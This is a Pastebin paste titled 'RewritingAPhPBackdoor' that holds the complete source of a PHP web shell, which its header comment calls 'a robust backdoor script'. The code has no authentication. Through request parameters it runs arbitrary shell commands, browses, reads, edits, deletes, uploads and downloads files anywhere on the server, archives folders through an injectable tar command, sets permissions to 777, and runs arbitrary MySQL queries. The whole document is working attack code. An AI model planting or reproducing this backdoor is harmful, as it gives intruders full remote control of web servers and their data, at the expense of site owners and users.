retro64xyz

RewritingAPhPBackdoor

Mar 21st, 2023
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 13.59 KB | Cybersecurity | 0 0
  1. <?php
  2. // A robust backdoor script made by Daniel Berliner - http://www.qsdconsulting.com/ [3-15-2011]
  3. // This code is public domain and may be used in part or in full for any legal purpose. I would still appreciate a mention though :).
  4.  
  5. function isLinux($path)
  6. {
  7.     return (substr($path,0,1)=="/" ? true : false);
  8. }
  9. function getSlashDir($isLinux)
  10. {
  11.     return($isLinux ? '/' : '\\');
  12. }
  13. //See if we are on Linux or Windows becuase the paths have to be processed differently
  14. $cwd=getcwd();
  15. $isLinux=isLinux($cwd);
  16. if(!$isLinux)
  17. {
  18.     $driveLetter=substr($cwd,0,1);
  19. }
  20. $slash=getSlashDir($isLinux);
  21. $parts=explode($slash,$cwd);
  22. $rootDir=($isLinux ? $slash : ($driveLetter . ':' . $slash));
  23.  
  24. function cleanPath($path,$isLinux)
  25. {
  26.     $slash=getSlashDir($isLinux);
  27.     $parts=explode($slash,$path);
  28.     foreach($parts as $key=>$val)//Process .. directories and a single .
  29.     {
  30.         if($val=="..")
  31.         {
  32.             $parts[$key]="";
  33.             $lastKey=$key-1;
  34.             $parts[$lastKey]="";
  35.         }
  36.         elseif($val==".")
  37.         {
  38.             $parts[$key]="";
  39.         }
  40.     }
  41.     reset($parts);
  42.     $fixedPath=($isLinux ? "/" : "");//Some PHP configs wont automatically create a variable on .= or will at least whine about it
  43.     $firstPiece=true;
  44.     foreach($parts as $val)//Assemble the path back together
  45.     {
  46.         if($val != "")
  47.         {
  48.             $fixedPath .=  ($firstPiece ? '' : $slash) . $val;
  49.             $firstPiece=false;
  50.         }
  51.     }
  52.     if($fixedPath=="")//If we took out the entire path go to bottom level to avoid an error
  53.     {
  54.         $fixedPath=($isLinux ? $slash : ($driveLetter . ":" . $slash));
  55.     }
  56.    
  57.     //Make sure there is an ending slash
  58.     if(substr($fixedPath,-1)!=$slash)
  59.         $fixedPath .= $slash;
  60.     return $fixedPath;
  61. }
  62. if(isset($_REQUEST['chm']))
  63. {
  64.     if(!$isLinux)
  65.     {
  66.         echo "This feature only works on Linux";
  67.     }
  68.     else
  69.     {
  70.         echo (@chmod ( $_REQUEST['chm'] , 0777 ) ? "Reassigned" : "Can't Reasign");
  71.     }
  72. }
  73. elseif(isset($_REQUEST['phpinfo']))
  74. {
  75.     phpinfo();
  76. }
  77. elseif(isset($_REQUEST['dl']))
  78. {
  79.     if(@fopen($_REQUEST['dl'] .  $_REQUEST['file'],'r')==true)
  80.     {
  81.         $_REQUEST['dl'] .= $_REQUEST['file'];
  82.         if(substr($_REQUEST['dl'],0,1)==$slash)
  83.             $fileArr=explode($slash,$_REQUEST['dl']);
  84.        
  85.         header('Content-disposition: attachment; filename=' . $_REQUEST['file']);
  86.         header('Content-type: application/octet-stream');
  87.         readfile($_REQUEST['dl']);
  88.     }
  89.     else
  90.     {
  91.         echo $_REQUEST['dl'];
  92.     }
  93. }
  94. elseif(isset($_REQUEST["gz"]))
  95. {
  96.     if(!$isLinux)
  97.     {
  98.         echo "This feature only works on Linux";
  99.     }
  100.     else
  101.     {
  102.         $directory=$_REQUEST["gz"];
  103.        
  104.         if(substr($directory,-1)=="/")
  105.             $directory = substr($directory,0,-1);
  106.                
  107.         $dirParts=explode($slash,$directory);
  108.         $fname=$dirParts[(sizeof($dirParts)-1)];
  109.        
  110.         $archive = time();
  111.        
  112.         exec( "cd $directory; tar czf $archive *");
  113.         $output=@file_get_contents($directory . "/" . $archive);
  114.        
  115.         if(!$output)
  116.             header("Content-disposition: attachment; filename=ACCESS_PROBLEM");
  117.         else
  118.         {
  119.             header("Content-disposition: attachment; filename=$fname.tgz");
  120.             echo $output;
  121.         }
  122.        
  123.         header('Content-type: application/octet-stream');
  124.         @unlink($directory . "/" . $archive);
  125.     }
  126. }
  127. elseif(isset($_REQUEST['f']))
  128. {
  129.     $filename=$_REQUEST['f'];
  130.     $file=fopen("$filename","rb");
  131.         header("Content-Type: text/plain");
  132.     fpassthru($file);
  133. }
  134. elseif(isset($_REQUEST['d']))
  135. {
  136.     $d=$_REQUEST['d'];
  137.     echo "<pre>";
  138.     if ($handle = opendir("$d"))
  139.     {
  140.         echo "<h2>listing of ";
  141.         $conString="";
  142.         if($isLinux)
  143.             echo "<a href='?d=$slash'>$slash</a>";
  144.         foreach(explode($slash,cleanPath($d,$isLinux)) as $val)
  145.         {
  146.             $conString .= $val . $slash;
  147.             echo "<a href='?d=$conString'>" . $val . "</a>" . ($val != "" ? $slash : '');
  148.         }
  149.         echo " (<a target='_blank' href='?uploadForm=1&dir=" . urlencode(cleanPath($d,$isLinux)) . "'>upload file</a>) (<a href='?d=" . urlencode(cleanPath($d,$isLinux)) . "&hldb=1'>DB interaction files in red</a>)</h2> (<a target='_blank' href='?gz=" . urlencode(cleanPath($d,$isLinux)) . "'>gzip & download folder</a>) (<a target='_blank' href='?chm=" . urlencode(cleanPath($d,$isLinux)) . "'>chmod folder to 777)</a> (these rarely work)<br />";
  150.         while ($dir = readdir($handle))
  151.         {
  152.             if (is_dir("$d$slash$dir"))
  153.             {
  154.                 if($dir != "." && $dir !="..")
  155.                     $dirList[]=$dir;
  156.             }
  157.             else
  158.             {
  159.                 if(isset($_REQUEST["hldb"]))
  160.                 {
  161.                     $contents=file_get_contents("$d$slash$dir");
  162.                     if (stripos($contents, "mysql_") || stripos($contents, "mysqli_") || stripos($contents, "SELECT "))
  163.                     {
  164.                         $fileList[]=array('dir'=>$dir,'color'=>'red');
  165.                     }
  166.                     else
  167.                     {
  168.                         $fileList[]=array('dir'=>$dir,'color'=>'black');
  169.                     }
  170.                 }
  171.                 else
  172.                 {
  173.                     $fileList[]=array('dir'=>$dir,'color'=>'black');
  174.                 }
  175.             }
  176.         }
  177.        
  178.         echo "<a href='?d=$d$slash.'><font color=grey>.\n</font></a>";
  179.         echo "<a href='?d=$d$slash..'><font color=grey>..\n</font></a>";
  180.        
  181.         //Some configurations throw a notice if is_array is tried with a non-existant variable
  182.         if(isset($dirList))
  183.         if(is_array($dirList))
  184.         foreach($dirList as $dir)
  185.         {
  186.                 echo "<a href='?d=$d$slash$dir'><font color=grey>$dir\n</font></a>";
  187.         }
  188.        
  189.         if(isset($fileList))
  190.         if(is_array($fileList))
  191.         foreach($fileList as $dir)
  192.         {
  193.             echo "<a href='?f=$d" . $slash . $dir['dir'] . "'><font color=" . $dir['color'] . ">" . $dir['dir'] . "</font></a>" .
  194.                  "|<a href='?dl=" . cleanPath($d,$isLinux) . '&file=' .$dir["dir"] . "' target='_blank'>Download</a>|" .
  195.                  "|<a href='?ef=" . cleanPath($d,$isLinux) . '&file=' .$dir["dir"] . "' target='_blank'>Edit</a>|" .
  196.                  "|<a href='?df=" . cleanPath($d,$isLinux) . '&file=' .$dir["dir"] . "' target='_blank'>Delete</a>| \n";
  197.         }
  198.     }
  199.     else
  200.     echo "opendir() failed";
  201.     closedir($handle);
  202. }
  203. elseif(isset($_REQUEST['c']))
  204. {
  205.     if( @ini_get('safe_mode') )
  206.     {
  207.         echo 'Safe mode is on, the command is by default run though escapeshellcmd() and can only run programms in safe_mod_exec_dir (' . @ini_get('safe_mode_exec_dir') . ') <br />';
  208.     }
  209.     echo "<b>Command: <I>" . $_REQUEST['c'] . "</I></b><br /><br />";
  210.     trim(exec($_REQUEST['c'],$return));
  211.     foreach($return as $val)
  212.     {
  213.         echo '<pre>' . htmlentities($val) . '</pre>';
  214.     }
  215. }
  216. elseif(isset($_REQUEST['uploadForm']) || isset($_FILES["file_name"]))
  217. {
  218.     if(isset($_FILES["file_name"]))
  219.     {
  220.         if ($_FILES["file_name"]["error"] > 0)
  221.         {
  222.                 echo "Error";
  223.         }
  224.         else
  225.         {
  226.             $target_path = $_COOKIE["uploadDir"];
  227.             if(substr($target_path,-1) != "/")
  228.                 $target_path .= "/";
  229.            
  230.             $target_path = $target_path . basename( $_FILES['file_name']['name']);
  231.  
  232.             if(move_uploaded_file($_FILES['file_name']['tmp_name'], $target_path)) {
  233.                 setcookie("uploadDir","");
  234.                 echo "The file ".  basename( $_FILES['file_name']['name']).
  235.                 " has been uploaded";
  236.             }
  237.             else
  238.             {
  239.                 echo "Error copying file, likely a permission error.";
  240.             }
  241.         }
  242.     }
  243.     else
  244.     {      
  245.         ?>
  246.         <form target="_blank" action="" method="GET">
  247.             <input type="hidden" name="cc" value="1" />
  248.             Submit this form before submitting file (will open in new window):<br />
  249.             Upload Directory: <input type="text" name="dir" value="<?php echo $_REQUEST["dir"] ?>"><br />
  250.             <input type="submit" value="submit" />
  251.         </form>
  252.         <br /><br />
  253.        
  254.         <form enctype="multipart/form-data" action="" method="post">
  255.         Upload file:<input name="file_name" type="file"> <input type="submit" value="Upload" /></form>
  256.  
  257.         <?php
  258.     }
  259. }
  260. elseif(isset($_REQUEST['cc']))
  261. {
  262.     setcookie("uploadDir",$_GET["dir"]);
  263.     echo "You are OK to upload the file, don't upload files to other directories before completing this upload.";
  264. }
  265. elseif(isset($_REQUEST['mquery']))
  266. {
  267.     $host=$_REQUEST['host'];
  268.     $usr=$_REQUEST['usr'];
  269.     $passwd=$_REQUEST['passwd'];
  270.     $db=$_REQUEST['db'];
  271.     $mquery=$_REQUEST['mquery'];
  272.     @mysql_connect($host, $usr, $passwd) or die("Connection Error: " . mysql_error());
  273.     mysql_select_db($db);
  274.     $result = mysql_query($mquery);
  275.     if($result!=false)
  276.     {
  277.         echo "<h2>The following query has sucessfully executed</h2>" . htmlentities($mquery) . "<br /><br />";
  278.         echo "Return Results:<br />";
  279.         $first=true;
  280.         echo "<table border='1'>";
  281.         while ($row = mysql_fetch_array($result,MYSQL_ASSOC))
  282.         {
  283.             if($first)
  284.             {
  285.                 echo "<tr>";
  286.                 foreach($row as $key=>$val)
  287.                 {
  288.                     echo "<td><b>$key</b></td>";
  289.                 }
  290.                 echo "</tr>";
  291.                 reset($row);
  292.                 $first=false;
  293.             }
  294.             echo "<tr>";
  295.             foreach($row as $val)
  296.             {
  297.                 echo "<td>$val</td>";
  298.             }
  299.             echo "</tr>";
  300.         }
  301.         echo "</table>";
  302.         mysql_free_result($result);
  303.     }
  304.     else
  305.     {
  306.         echo "Query Error: " . mysql_error();
  307.     }
  308. }
  309. elseif(isset($_REQUEST['df']))
  310. {
  311.     $_REQUEST['df'] .= $slash . $_REQUEST['file'];
  312.     if(@unlink($_REQUEST['df']))
  313.     {
  314.             echo "File deleted";
  315.     }
  316.     else
  317.     {
  318.             echo "Error deleting file";
  319.     }
  320. }
  321. elseif(isset($_REQUEST['ef']))
  322. {
  323. ?>
  324. <script type="text/javascript">
  325.   <!--
  326.  
  327.   var key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  328.  
  329.   function encode64(inpStr)
  330.   {
  331.      inpStr = escape(inpStr);
  332.      var output = "";
  333.      var chr1, chr2, chr3 = "";
  334.      var enc1, enc2, enc3, enc4 = "";
  335.      var i = 0;
  336.  
  337.      do {
  338.         chr1 = inpStr.charCodeAt(i++);
  339.         chr2 = inpStr.charCodeAt(i++);
  340.         chr3 = inpStr.charCodeAt(i++);
  341.  
  342.         enc1 = chr1 >> 2;
  343.         enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  344.         enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  345.         enc4 = chr3 & 63;
  346.  
  347.         if (isNaN(chr2))
  348.         {
  349.            enc3 = enc4 = 64;
  350.         }
  351.         else if (isNaN(chr3))
  352.         {
  353.            enc4 = 64;
  354.         }
  355.  
  356.         output = output +
  357.            key.charAt(enc1) +
  358.            key.charAt(enc2) +
  359.            key.charAt(enc3) +
  360.            key.charAt(enc4);
  361.         chr1 = chr2 = chr3 = enc1 = enc2 = enc3 = enc4 = "";
  362.      } while (i < inpStr.length);
  363.  
  364.      return output;
  365.   }
  366.  
  367.   //--></script>
  368.  
  369.   <?php
  370.     $_REQUEST['ef'] .= $_REQUEST['file'];
  371.     if(isset($_POST["newcontent"]))
  372.     {
  373.         $_POST["newcontent"]=urldecode(base64_decode($_POST["newcontent"]));
  374.         $stream=@fopen($_REQUEST['ef'],"w");
  375.        
  376.         if($stream)
  377.         {
  378.             fwrite($stream,$_POST["newcontent"]);
  379.             echo "Write sucessful";
  380.         }
  381.         else
  382.         {
  383.             echo "Could not write to file";
  384.         }
  385.         fclose($stream);
  386.     }
  387.     ?>
  388.     <form action="" name="f" method="POST">
  389.     <textarea wrap="off" rows="40" cols="130" name="newcontent"><?php echo file_get_contents($_REQUEST['ef']) ?></textarea><br />
  390.     <input type="submit" value="I base64 encoded it myself, dont run script" /><br />
  391.     <input type="submit" value="Change (requires javascript to work)"  onclick="document.f.newcontent.value=encode64(document.f.newcontent.value);" />
  392.     </form>
  393.     <?php
  394. }
  395. else
  396. {
  397. ?>
  398. <b>Server Information:</b><br />
  399. <i>
  400. Operating System: <?php echo PHP_OS ?><br />
  401. PHP Version: <?php echo PHP_VERSION ?><br />
  402. <a href="?phpinfo=true">View phpinfo</a>
  403. </i>
  404. <br />
  405. <br />
  406. <b>Directory Traversal</b><br />
  407. <a href="?d=<?php echo getcwd() ?>"><b>Go to current working directory</b></a> <br />
  408. <a href="?d=<?php echo $rootDir ?>"><b>Go to root directory</b></a> <br />
  409. <b>Go to any directory:</b> <form action="" method="GET"><input type="text" name="d" value="<?php echo $rootDir ?>" /><input type="submit" value="Go" /></form>
  410.  
  411.  
  412.  
  413. <hr>Execute MySQL Query:
  414. <form action="" METHOD="GET" >
  415. <table>
  416. <tr><td>host</td><td><input type="text" name="host"value="localhost"> </td></tr>
  417. <tr><td>user</td><td><input type="text" name="usr" value="root"> </td></tr>
  418. <tr><td>password</td><td><input type="text" name="passwd"> </td></tr>
  419. <tr><td>database</td><td><input type="text" name="db"> </td></tr>
  420. <tr><td valign="top">query</td><td><textarea name="mquery" rows="6" cols="65"></textarea> </td></tr>
  421. <tr><td colspan="2"><input type="submit" value="execute"></td></tr>
  422. </table>
  423. </form>
  424. <hr>
  425. <pre><form action="" METHOD="GET" >Execute Shell Command (safe mode is <?php echo (@ini_get('safe_mode') ? 'on' : 'off') ?>): <input type="text" name="c"><input type="submit" value="Go"></form>
  426. <?php
  427. }
  428. //Intentionally left open to avoid output the file download function 1
  429.  
Add Comment
Please, Sign In to add comment